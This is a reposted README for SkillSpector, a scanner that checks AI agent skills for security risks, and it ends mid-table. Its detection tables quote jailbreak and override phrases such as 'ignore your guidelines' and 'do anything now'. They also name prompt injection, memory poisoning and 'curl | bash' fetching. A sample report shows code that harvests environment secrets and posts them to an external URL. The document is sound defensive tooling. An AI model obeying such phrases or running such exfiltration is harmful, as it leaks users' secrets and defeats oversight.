Profile
Back to NewsBack
GitHub Trending 32 min
Reader Mode
NVIDIA/SkillSpector: Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.

NVIDIA/SkillSpector: Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.

12 hours ago

SkillSpector

Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.

Python 3.12+</a> License: Apache 2.0</a>

Overview

AI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. In the 31,132-skill analyzed subset of the research dataset, 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent.

SkillSpector helps you answer: "Is this skill safe to install?"

SkillSpector is part of the NVIDIA Verified Skills pipeline, which scans, evaluates, and signs agent skills before publication. Skills that pass are published to the NVIDIA skills catalog.

Documentation

  • Scan agent skills before installation — Hosted guide: when to scan, how to read a report, and how to gate installs.
  • Development guide — Architecture, package layout, and how to extend the analyzer pipeline.
  • Analysis resource bounds — Fail-closed bundle, parser, nested-artifact, ledger, and finding ceilings.
  • Pi extension — Install SkillSpector as a Pi tool for scanning skills from inside agent sessions.
  • OpenCode extension — Install SkillSpector as an OpenCode tool and /skillspector command for scanning skills from inside agent sessions.

Features

  • Multi-format input: Scan Git repos, URLs, zip files, directories, or single files
  • 71 vulnerability patterns across 17 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, anti-refusal, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege, and MCP tool poisoning
  • Two-stage analysis: Fast static analysis + optional LLM semantic evaluation
  • Live vulnerability lookups: SC4 queries OSV.dev for real-time CVE data with automatic offline fallback
  • Multiple output formats: Terminal, JSON, Markdown, and SARIF reports
  • Risk scoring: 0-100 score with severity labels and clear recommendations
  • Baseline / false-positive suppression: Accept known findings via a glob-rule or fingerprint baseline so re-scans surface only new issues (docs)

Quick Start

Installation

Open-source software notice: This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use.

Create and activate a virtual environment first (all make targets assume the venv is active). Use uv or pip; the Makefile uses uv if available, otherwise pip.

Quick install with uv (CLI-only):

uv tool install git+https://github.com/NVIDIA/skillspector.git

Update later: uv tool update skillspector

If you plan to run skillspector mcp, install the MCP extra at install time:

uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

From source:

# Clone the repository
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector

Create and activate virtual environment

uv venv .venv && source .venv/bin/activate

or: python3 -m venv .venv && source .venv/bin/activate

Install for production use

make install

Or install with development dependencies

make install-dev

Docker (no Python required)

Run SkillSpector without installing Python by building it locally from the included Dockerfile. The image is based on the Docker Official Python 3.12-slim-bookworm image.

Build the image:

make docker-build

or: docker build -t skillspector .

Scan a local directory by mounting your current directory into /scan, the container's working directory:

docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

Scan with LLM analysis by passing credentials with a local .env file:

cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
docker run --rm \
  -v "$PWD:/scan" \
  --env-file .env \
  skillspector scan ./my-skill/

Or pass credentials directly from your shell environment:

docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

Write a report to the host filesystem by writing to the mounted directory:

docker run --rm --user "$(id -u):$(id -g)" \
  -v "$PWD:/scan" \
  skillspector scan ./my-skill/ --no-llm --format json --output report.json

Optional alias for repeated static scans:

alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

Basic Usage

# Scan a local skill directory
skillspector scan ./my-skill/

Scan a single SKILL.md file

skillspector scan ./SKILL.md

Scan a Git repository

skillspector scan https://github.com/user/my-skill

Scan a zip file

skillspector scan ./my-skill.zip

Size limits

SkillSpector enforces two independent caps on remote and archive inputs to bound the impact of oversized downloads and zip bombs:

  • Per-ingest cap: INGEST_MAX_BYTES (100 MiB) — applied to streamed URL downloads, total uncompressed size of zip archives, and post-clone disk usage of Git repos.
  • Zip member cap: INGEST_MAX_ZIP_MEMBERS (10,000) — caps the number of entries in a single zip.
Note that the per-file 1 MB analysis cap (MAX_FILE_BYTES) is a separate, downstream limit: it bounds what individual analyzers will read out of an already-ingested directory. The ingest caps above bound how much content can land on disk in the first place. A breach of either ingest cap fails closed with an IngestLimitExceededError.

Output Formats

# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

JSON output - machine readable

skillspector scan ./my-skill/ --format json --output report.json

Markdown output - for documentation

skillspector scan ./my-skill/ --format markdown --output report.md

SARIF output - for CI/CD integration and IDE tooling

skillspector scan ./my-skill/ --format sarif --output report.sarif

Batch Scanning

Scan entire directories of skills in parallel from contrib/batch_scan/:

python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20

Supports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.

For LLM scans with higher concurrency, configure multiple API keys following .env.example — the pool improves throughput and resilience, provided the keys don't share an account-level rate limit.

See the contrib guide for details.

Note on LLM support: The default configuration targets DeepSeek as the
cheapest public option. DeepSeek-Chat is
expected to sunset, and the contributor
does not have hardware to test against local models. The batch scanner was
originally tested with OpenAI-compatible endpoints — DeepSeek's lack of
structured-output support required manual JSON-parsing patches. If you can
contribute a more universal backend (Ollama, vLLM, or a different provider),
PRs are very welcome.

Comparing MCP Registry snapshots

Start with raw registry payload captures (registry-before.json and registry-after.json). Save a scan report as previous.json, then compare a later scan against that generated local report:

skillspector scan registry-before.json --mcp-registry --format json --output previous.json
skillspector scan registry-after.json --mcp-registry --format json \
  --mcp-registry-compare previous.json --output compared.json

The optional comparison object lists added and removed server identities, changed normalized fields with their previous and current values, and an unchanged_count. Identity is the server name and version, so a new version appears as an addition and the old version as a removal if it is absent from the new scan. Acquisition source and scan timestamp are excluded from comparison. unmodeled_changes lists same-identity records whose raw-record hash changed while normalized fields match; these are not counted as unchanged. This can indicate a change to fields outside the snapshot model, or array reordering in the raw record. Package and remote ordering alone is not a normalized field change. Entries in changed may also contain changes outside the snapshot model; inspect the raw record to see those changes. Compare reports with the same selection scope: a server absent from the current input is reported as removed, which does not prove it was removed from a registry.

The comparison file must be a local report produced by this registry mode with valid normalized snapshots. Malformed, oversized or duplicate server identities are rejected. This option requires --mcp-registry and is separate from the finding-suppression --baseline: it never suppresses findings or changes risk scores, and it does not fetch or execute listed server endpoints.

Registry mode rejects skill-only controls such as --use-shipped-baseline, --transitive, --transitive-depth, --transitive-allow-prefix, and --transitive-deny-prefix with exit code 2, including an explicitly supplied default depth (--transitive-depth 1). Omit these options for registry scans.

Suppressing False Positives (baseline)

Suppress known/accepted findings so the risk score reflects only un-triaged issues and re-scans surface only new findings. See the suppression guide for the full reference.

# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml

Scan against the baseline — only NEW findings are reported and scored.

skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml

Review what was suppressed (still excluded from the score).

skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed

A baseline can also use drift-tolerant glob rules (by rule id, file path, or message) — see .skillspector-baseline.example.yaml. Exact fingerprint baselines are evidence-bound: changing the scanned source or SkillSpector version keeps the finding active until it is reviewed again. When a selected baseline or baseline output is stored inside the skill directory, SkillSpector excludes that exact file from content analysis so its suppression text cannot create findings or enter regenerated fingerprints; sibling files remain in normal scan scope.

Explicit scan scope

For a local directory containing one SKILL.md or skill.md, repeat --exclude to omit selected files before content analysis:

skillspector scan ./my-skill --exclude 'tests/' --exclude 'fixtures/.json'

Patterns are case-sensitive globs matched against the entire relative POSIX path; * also matches /. Quote patterns so your shell does not expand them. This is an explicit caller option, not an author-controlled ignore file. Patterns matching either manifest name (SKILL.md or skill.md) are rejected, as are recursive, multi-skill, transitive, registry, and non-directory inputs. No-match patterns are still recorded in the report.

Files already outside the scan inventory, such as policy-excluded dependencies, retain their existing policy handling and are not counted as caller exclusions. Explicitly excluded inventory files remain in the coverage denominator as entirely uninspected. The report lists the applied patterns, excluded count and individual skipped paths; any matched exclusion makes coverage partial and prevents a SAFE recommendation. Use --fail-on-incomplete when partial scope should fail CI. These exclusions do not suppress findings in included files or override existing safety limits.

LLM Analysis

For the best results, configure an OpenAI-compatible LLM endpoint for semantic analysis. Pick a provider with SKILLSPECTOR_PROVIDER; hosted providers ship bundled default models, while CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. SkillSpector also works against local OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed inference gateways.

| Provider (SKILLSPECTOR_PROVIDER) | Credential env var | Endpoint | Default model | | ---------- | ---- | ---- | ---- | | openai | OPENAI_API_KEY (+ optional OPENAI_BASE_URL) | api.openai.com (or any OpenAI-compatible URL) | gpt-5.4 | | anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 (meta_analyzer: claude-sonnet-4-6) | | anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | Any Vertex-style raw-predict proxy | claude-sonnet-4-6 | | bedrock | AWS_PROFILE (optional) + AWS_REGION — SigV4 via boto3 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6 | | nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | z-ai/glm-5.3 | | gemini | GOOGLE_CLOUD_PROJECT (+ optional GOOGLE_CLOUD_LOCATION) via ADC | Google Cloud OpenAI-compatible Gemini endpoint | gemini-3.8-flash | | ollama | _(none)_ | OLLAMA_BASE_URL (default http://localhost:11434/v1) | llama3.1:8b | | azure_openai | AZURE_OPENAI_API_KEY + AZURE_OPENAI_ENDPOINT | Azure OpenAI Service | gpt-4o (deployment defaults to the model label) | | openai_compatible | SKILLSPECTOR_COMPAT_API_KEY + SKILLSPECTOR_COMPAT_BASE_URL | Any OpenAI-compatible endpoint | llama-3.1-70b-versatile | | claude_cli | _(none — uses local CLI auth)_ | local claude binary | local Claude runtime fallback, or SKILLSPECTOR_MODEL | | codex_cli | Disabled | Registered for compatibility; its read-only sandbox permits host-file reads | Use an HTTP API provider or another supported CLI provider | | gemini_cli | _(none — uses local CLI auth)_ | local gemini binary | local Gemini runtime fallback, or SKILLSPECTOR_MODEL | | opencode_cli | _(none — uses local CLI auth)_ | local opencode 1.18.33 binary | local OpenCode runtime fallback, or SKILLSPECTOR_MODEL |

gpt-6.1-sol, claude-opus-5-5, and claude-sonnet-5-5 remain opt-in through SKILLSPECTOR_MODEL or per-slot overrides. Promoting them to defaults requires live scanner acceptance covering benign input, credential disclosure, prompt injection, refusals, and incomplete responses. Record findings, completion status, latency, and usage, and compare against previous defaults where accessible.

For NVIDIA Build's z-ai/glm-5.3, SkillSpector requests high reasoning effort. Set SKILLSPECTOR_REASONING_EFFORT to override it with low, high, or max. The bundled 128,000-token context and 32,000-token output budgets are conservative application limits; they do not claim the hosted endpoint's maximum capacity.

Structured output is requested through LangChain's with_structured_output. The default is client-specific: ChatOpenAI uses json_schema, while other clients may use tool calling. Some models reject a forced tool call with HTTP 400 (tool_choice: type "tool" and "any" are not supported for this model). The anthropic and anthropic_proxy providers route those models (claude-opus-5-5, claude-sonnet-5-5, claude-fable-5-1, claude-mythos-5-1, or any registry entry with structured_output: json_schema) to the native JSON-schema response format. Bedrock has no JSON-schema output for them, so the bedrock provider leaves toolChoice at auto, asks for the tool call in the prompt, and retries a prose answer; it recognises the model from the model ID, a geo/global inference-profile ID, or a foundation-model / inference-profile ARN. An application-inference-profile ARN hides the model, so add that ARN to the registry (SKILLSPECTOR_MODEL_REGISTRY) with tool_choice: auto. The openai_compatible provider honours the same tool_choice: auto entry for endpoints that ignore both response_format and a forced tool_choice and answer in prose (for example iFlytek's spark-x2.5, which is bundled). The anthropic, anthropic_proxy, openai, and openai_compatible providers also recognise those Claude models inside gateway model IDs such as anthropic/claude-opus-5-5 or aws/anthropic/bedrock-claude-opus-5-5. Some OpenAI-compatible gateways turn a json_schema response format for Claude into a forced tool call, so the openai and openai_compatible providers bind the schema as a tool with tool_choice left at auto and retry a prose answer. SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD=json_schema|function_calling overrides the method for any provider. The method precedence is SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD, the provider's method hint, an analyzer preference, then the client default. TP4 prefers function_calling only for provider openai and the exact model label azure/anthropic/claude-opus-5, with reasoning/thinking controls unset; dated or suffixed labels and other providers keep their existing behavior. An explicit environment override or provider hint still wins when reasoning is configured.

# Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=sk-...
skillspector scan ./my-skill/

Anthropic

export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/

Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)

export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/

AWS Bedrock (Claude via SigV4)

export SKILLSPECTOR_PROVIDER=bedrock

Optional: select an AWS named profile. When unset, the standard

boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.

export AWS_PROFILE=my-profile

export AWS_REGION=us-west-2 # default if unset

Default model: us.anthropic.claude-sonnet-4-6

Override with any Bedrock model ID, cross-region inference-profile

ID, or your own application-inference-profile ARN. Claude 5.5 is opt-in:

us./eu. profiles keep requests in that geography, global. routes worldwide.

export SKILLSPECTOR_MODEL=us.anthropic.claude-sonnet-5-5

skillspector scan ./my-skill/

NVIDIA build.nvidia.com

export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/

Gemini on Google Cloud (Application Default Credentials / Workload Identity)

Prerequisites:

1. Google Cloud project with billing enabled.

2. Enable Gemini Enterprise Agent Platform / Vertex AI API: aiplatform.googleapis.com.

3. IAM permission: grant roles/aiplatform.user (or at minimum aiplatform.endpoints.predict)

to your user account or Kubernetes service account.

4. Local authentication: run gcloud auth application-default login.

Configure a quota project if needed: gcloud auth application-default set-quota-project PROJECT_ID.

5. Kubernetes / GKE: configure Workload Identity and leave GOOGLE_APPLICATION_CREDENTIALS unset

rather than exporting service account keys.

Note on Data Residency:

The default global endpoint does not support data-residency requirements. While you can target

us, eu, or regional endpoints (e.g. us-central1), endpoint selection alone does not guarantee

data residency or in-region processing without appropriate organizational policies. Always verify

that your selected model is supported in your target location.

Optional credentials:

GOOGLE_APPLICATION_CREDENTIALS is optional and can reference Workload or Workforce Identity Federation

configuration files; exporting long-lived service account keys is discouraged.

export SKILLSPECTOR_PROVIDER=gemini export GOOGLE_CLOUD_PROJECT=my-project-id

export GOOGLE_CLOUD_LOCATION=global # default is global; or us, eu, or specific region (e.g. us-central1)

Default model: gemini-3.8-flash

export SKILLSPECTOR_MODEL=gemini-3.7-flash

skillspector scan ./my-skill/

Local Claude CLI — no API key; uses your existing claude auth login session

Requires: claude CLI installed and authenticated (claude auth login)

export SKILLSPECTOR_PROVIDER=claude_cli

Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.

export SKILLSPECTOR_MODEL=claude-sonnet-4-6

skillspector scan ./my-skill/

Gemini (via OpenAI compatibility layer)

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY="YOUR_GEMINI_API_KEY" export OPENAI_BASE_URL="https://generativelanguage.googleapis.com/v1beta/openai/" export SKILLSPECTOR_MODEL=gemini-3.5-flash skillspector scan ./my-skill/

Local Ollama — no API key

export SKILLSPECTOR_PROVIDER=ollama

export OLLAMA_BASE_URL=http://localhost:11434/v1 # shown default

export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/

Azure OpenAI

export SKILLSPECTOR_PROVIDER=azure_openai export AZURE_OPENAI_API_KEY=... export AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/ export AZURE_OPENAI_DEPLOYMENT=my-deployment skillspector scan ./my-skill/

Any other OpenAI-compatible endpoint

export SKILLSPECTOR_PROVIDER=openai_compatible export SKILLSPECTOR_COMPAT_API_KEY=... export SKILLSPECTOR_COMPAT_BASE_URL=https://api.groq.com/openai/v1 export SKILLSPECTOR_MODEL=llama-3.1-70b-versatile skillspector scan ./my-skill/

Override the provider's default model

export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/

Skip LLM analysis (faster, static analysis only)

skillspector scan ./my-skill/ --no-llm

MCP Server

Run SkillSpector as a Model Context Protocol server so local MCP-capable agents (Claude Code, Codex CLI, Gemini CLI) can call scanning as a tool and **gate skill/MCP installs on the result** — turning SkillSpector into a runtime guardrail instead of an out-of-band audit step.

skillspector mcp requires skillspector[mcp].

# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

FastMCP stdio transport for local CLI agents

skillspector mcp

Streamable HTTP transport on a local loopback interface

skillspector mcp --transport http --host 127.0.0.1 --port 8000

The stdio transport is the current FastMCP path for local CLI agents, and the initialize hang reported in issue #199 still applies there.

The server exposes a single tool:

  • scan_skill(target, use_llm=true, output_format="json") — scans a Git
URL, file URL, .zip, .md file, or directory and returns a structured verdict: risk_score (0-100), severity, recommendation, safe_to_install, and findings. It also reports llm_used / scan_mode so a low score from a static-only scan is never mistaken for a clean full scan.

Register it with Claude Code via:

claude mcp add skillspector -- skillspector mcp
Security — HTTP transport trust model
> The HTTP transport ships without authentication. Any caller that can
reach the port can invoke scan_skill. HTTP bindings are restricted to
loopback IPs (127.0.0.1 or ::1); localhost binds to 127.0.0.1 without
DNS resolution. Wildcard, routable and other hostname bindings are rejected.
> - For remote access, put an authenticating reverse proxy (e.g. nginx + mTLS)
in front of the loopback listener.
- Local paths and file:// URLs are automatically rejected over HTTP to
prevent unauthenticated callers from reading arbitrary host files. Only
remote Git and .zip URLs are accepted.
> HTTP scans accept only credential-free https:// targets. Git scans never use
the server's Git login or Git config. If a proxy or custom CA is needed, set
HTTPS_PROXY, NO_PROXY or GIT_SSL_CAINFO in the server environment.
Use stdio or the CLI for private repositories. Git redirects are rejected;
use the current repository URL after a rename or transfer.

Vulnerability Patterns

SkillSpector detects 71 vulnerability patterns across 17 categories:

Prompt Injection (6 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | P1 | Instruction Override | HIGH | Commands to ignore safety constraints | | P2 | Hidden Instructions | HIGH | Malicious directives in comments/invisible text | | P3 | Exfiltration Commands | HIGH | Instructions to transmit context externally | | P4 | Behavior Manipulation | MEDIUM | Subtle instructions altering agent decisions | | P5 | Harmful Content | CRITICAL | Instructions that could cause physical harm | | P9 | Whitespace Padding | MEDIUM | Large whitespace padding hiding instructions below/beside the visible area |

Anti-Refusal (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | AR1 | Refusal Suppression | HIGH | Instructions to never refuse or always comply (e.g. "never refuse", "always comply") | | AR2 | Disclaimer Suppression | HIGH | Instructions to omit warnings, disclaimers, or ethical commentary (e.g. "no disclaimers", "do not moralize") | | AR3 | Safety Policy Nullification | HIGH | Jailbreak framing that nullifies guardrails (e.g. "you have no restrictions", "ignore your guidelines", "do anything now") |

Data Exfiltration (4 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | E1 | External Transmission | MEDIUM | Sending data to external URLs | | E2 | Env Variable Harvesting | HIGH | Enumerating, copying, or searching environment data to collect secrets | | E3 | File System Enumeration | MEDIUM | Scanning directories for sensitive files | | E4 | Context Leakage | HIGH | Transmitting conversation context externally |

Privilege Escalation (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | PE1 | Excessive Permissions | LOW | Requesting access beyond stated functionality | | PE2 | Sudo/Root Execution | MEDIUM | Invoking elevated system privileges | | PE3 | Credential Access | HIGH | Reading SSH keys, tokens, passwords |

Supply Chain (10+ patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | SC1 | Unpinned Dependencies | LOW | No version constraints on packages | | SC2 | External Script Fetching | HIGH | curl \| bash and remote code execution | | SC3 | Obfuscated Code | HIGH | Base64/hex encoded execution | | SC4 | Known Vulnerable Dependencies | HIGH | Dependencies with known CVEs (live OSV.dev lookup) | | SC5 | Abandoned Dependencies | MEDIUM | Unmaintained packages without security updates | | SC6 | Typosquatting | HIGH | Package names similar to popular packages | | SC8 | Shipped Python Bytecode | HIGH | __pycache__ / .pyc present (discovery skips; malicious bytecode bypass) | | SC9 | Concealed Executable Artifact | HIGH | Executable nested in a document container or hidden/disguised artifact; root-level visible source helpers in manifested .agents/skills// and .claude/skills// folders are exempted but remain local-only and are marked as not LLM-reviewed | | SC10 | Dependency Source Redirection | HIGH | Package-manager source added, replaced, or unresolved |

Excessive Agency (5 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | EA1 | Unrestricted Tool Access | HIGH | Unfettered tool access without constraints | | EA2 | Autonomous Decision Making | HIGH | High-impact decisions without human-in-the-loop | | EA3 | Scope Creep | MEDIUM | Capabilities extending beyond stated purpose | | EA4 | Unbounded Resource Access | MEDIUM | No rate limits or quotas on resource consumption | | EA5 | External Model or Provider Selection | MEDIUM/HIGH | Model/provider pins or coding-CLI shell-outs that can switch billing accounts |

Output Handling (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | OH1 | Unvalidated Output Injection | HIGH | Model output used without sanitization | | OH2 | Cross-Context Output | MEDIUM | Output flows across trust boundaries without validation | | OH3 | Unbounded Output | MEDIUM | No limits on output size or generation rate |

System Prompt Leakage (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | P6 | Direct Leakage | HIGH | Instructions that expose system prompts or internal rules | | P7 | Indirect Extraction | MEDIUM | Extraction via rephrasing, translation, or side-channels | | P8 | Tool-Based Exfiltration | HIGH | System prompts exfiltrated via file writes or network requests |

Memory Poisoning (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | MP1 | Persistent Context Injection | HIGH | Content designed to persist across interactions | | MP2 | Context Window Stuffing | MEDIUM | Filler content displacing safety constraints | | MP3 | Memory Manipulation | HIGH | Tampering with agent memory or stored state |

Tool Misuse (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | TM1 | Tool Parameter Abuse | HIGH | Crafted parameters for unintended behavior (shell=True, --force) | | TM2 | Chaining Abuse | HIGH | Tool chains that bypass individual safety checks | | TM3 | Unsafe Defaults | MEDIUM | Overly permissive defaults (disabled TLS, no auth) |

Rogue Agent (2 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | RA1 | Self-Modification | CRITICAL | Modifying own code or configuration at runtime | | RA2 | Session Persistence | HIGH | Unauthorized persistence via cron jobs or startup scripts |

Trigger Abuse (3 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | TR1 | Overly Broad Trigger | MEDIUM | Trigger patterns matching common words | | TR2 | Shadow Command Trigger | HIGH | Triggers that shadow built-in commands or other skills | | TR3 | Keyword Baiting Trigger | MEDIUM | Generic triggers designed to maximize activation |

Behavioral AST (9 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | AST1 | exec() Call | CRITICAL | Direct exec() enabling arbitrary code execution | | AST2 | eval() Call | HIGH | Direct eval() evaluating arbitrary expressions | | AST3 | Dynamic Import | HIGH | \_\_import\_\_() loading arbitrary modules at runtime | | AST4 | subprocess Call | HIGH | External command execution via subprocess | | AST5 | os.system / exec-family | HIGH | Shell commands via os module | | AST6 | compile() Call | MEDIUM | Code object creation from strings | | AST7 | Dynamic getattr() | MEDIUM | Arbitrary attribute access with non-literal names | | AST8 | Dangerous Execution Chain | CRITICAL | exec/eval combined with dynamic source (network, encoded data) | | AST9 | Reflective getattr() Sink | HIGH | Reflective exec via getattr(os,'system') / getattr(builtins,'exec') that evades AST1/AST5 |

Taint Tracking (5 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | TT1 | Direct Taint Flow | HIGH | Data flows directly from a source to a sink without sanitization | | TT2 | Variable-Mediated Taint Flow | MEDIUM | Data flows from source to sink through intermediate variables | | TT3 | Credential Exfiltration Chain | CRITICAL | Credentials (env vars, secrets) flow to network output sinks | | TT4 | File Read to Network Exfiltration | HIGH | File contents flow to network output sinks | | TT5 | External Input to Code Execution | CRITICAL | Network or user input flows to exec/eval/subprocess sinks |

YARA Signatures (4 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | YR1 | Malware Match | CRITICAL | YARA rule match for known malware signatures | | YR2 | Webshell Match | CRITICAL | YARA rule match for webshell patterns | | YR3 | Cryptominer Match | HIGH | YARA rule match for crypto mining indicators | | YR4 | Hack Tool / Exploit Match | HIGH | YARA rule match for hack tools or exploit code |

MCP Least Privilege (4 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | LP1 | Underdeclared Capability | HIGH | Code uses capabilities not listed in declared permissions | | LP2 | Wildcard Permission | MEDIUM | Permission list contains wildcards (\*, all, full, any) | | LP3 | Missing Permission Declaration | MEDIUM | No permissions field but code has detectable capabilities | | LP4 | Overdeclared Permission | LOW | Permission declared but no corresponding code capability found |

MCP Tool Poisoning (4 patterns)

| ID | Pattern | Severity | Description | |----|---------|----------|-------------| | TP1 | Hidden Instructions | HIGH | Hidden directives in metadata (HTML comments, zero-width chars, base64, data URIs) | | TP2 | Unicode Deception | HIGH | Homoglyphs, RTL overrides, mixed-script identifiers in tool metadata | | TP3 | Parameter Description Injection | MEDIUM | Injection patterns in parameter definitions (overrides, system tokens, malicious defaults) | | TP4 | Description-Behavior Mismatch | MEDIUM | Declared tool description does not match actual code behavior (LLM-powered) |

All detected patterns are listed in the tables above.

Risk Scoring

Score Calculation

  • CRITICAL issues: +50 points
  • HIGH issues: +25 points
  • MEDIUM issues: +10 points
  • LOW issues: +5 points
  • Executable scripts: 1.3x multiplier

Severity Levels

| Score | Severity | Recommendation | |-------|----------|----------------| | 0-20 | LOW | SAFE | | 21-50 | MEDIUM | CAUTION | | 51-80 | HIGH | DO NOT INSTALL | | 81-100 | CRITICAL | DO NOT INSTALL |

Example Output

Terminal Output

SkillSpector Security Report  v2.0.0

Skill: suspicious-skill Source: ./suspicious-skill/ Scanned: 2026-01-29 10:30:00 UTC

Risk Assessment Metric Value Score 78/100 Severity HIGH Recommendation DO NOT INSTALL

Components (3) File Type Lines Executable SKILL.md markdown 142 No scripts/sync.py python 87 Yes requirements.txt text 3 No

Issues (2)

HIGH: Env Variable Harvesting (E2) Location: scripts/sync.py:23 Finding: for key, val in os.environ.items():... Confidence: 94% Explanation: This code collects environment variables containing API keys and secrets, then sends them to an external server.

HIGH: External Transmission (E1) Location: scripts/sync.py:45 Finding: requests.post("https://api.skill.io/env"... Confidence: 89% Explanation: Data is being sent to an external server. Combined with env harvesting above, this indicates credential exfiltration.

Configuration

Environment Variables

| Variable | Description | Required | |----------|-------------|----------| | SKILLSPECTOR_PROVIDER | Active LLM provider: openai, anthropic, anthropic_proxy, bedrock, nv_build, gemini, ollama, azure_openai, openai_compatible, claude_cli, gemini_cli, or opencode_cli. Hosted providers use bundled model_registry.yaml defaults; CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. Defaults to nv_build. | Optional | | GOOGLE_CLOUD_PROJECT | Google Cloud project ID for the gemini provider. Authenticates via Google Cloud Application Default Credentials (ADC) or GKE Workload Identity. | Required for LLM analysis when SKILLSPECTOR_PROVIDER=gemini | | GOOGLE_CLOUD_LOCATION | Google Cloud location for the gemini provider endpoint (e.g. global, us, eu, us-central1). Defaults to global. | Optional (used when SKILLSPECTOR_PROVIDER=gemini) | | GOOGLE_APPLICATION_CREDENTIALS | Optional path to ADC credential/config file (e.g. Workload or Workforce Identity Federation config; exported service account keys are discouraged). For local development, use gcloud auth application-default login; for GKE, use Workload Identity. | Optional (used when SKILLSPECTOR_PROVIDER=gemini) | | NVIDIA_INFERENCE_KEY | Credential for the nv_build provider (build.nvidia.com). | Required for LLM analysis when SKILLSPECTOR_PROVIDER=nv_build | | OPENAI_API_KEY | Credential for the OpenAI provider (SKILLSPECTOR_PROVIDER=openai). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials; the fallback then uses the openai default model (gpt-5.4) for any slot without a model override. Claude Opus or Sonnet 5.5 gateway IDs are not supported through the fallback, because it keeps the active provider's structured-output method; select SKILLSPECTOR_PROVIDER=openai for them. | Required for LLM analysis when SKILLSPECTOR_PROVIDER=openai | | OPENAI_BASE_URL | Override the OpenAI endpoint (e.g. point at Ollama). | Optional | | SKILLSPECTOR_REASONING_EFFORT | Optional provider- and model-dependent reasoning-effort setting. Non-empty values are trimmed and passed through unchanged. When unset or blank, SkillSpector sends high for nv_build with z-ai/glm-5.3; other provider/model combinations keep their endpoint defaults. The value applies to every model slot, so the anthropic meta_analyzer default receives the same effort as the analyzers. gpt-6.1-sol accepts only low, medium, high, xhigh, or max; any other value stops a scan before analysis (exit code 2). | Optional | | SKILLSPECTOR_OUTPUT_LANGUAGE | Short, single-line language label (letters, numbers, spaces, _, or -; 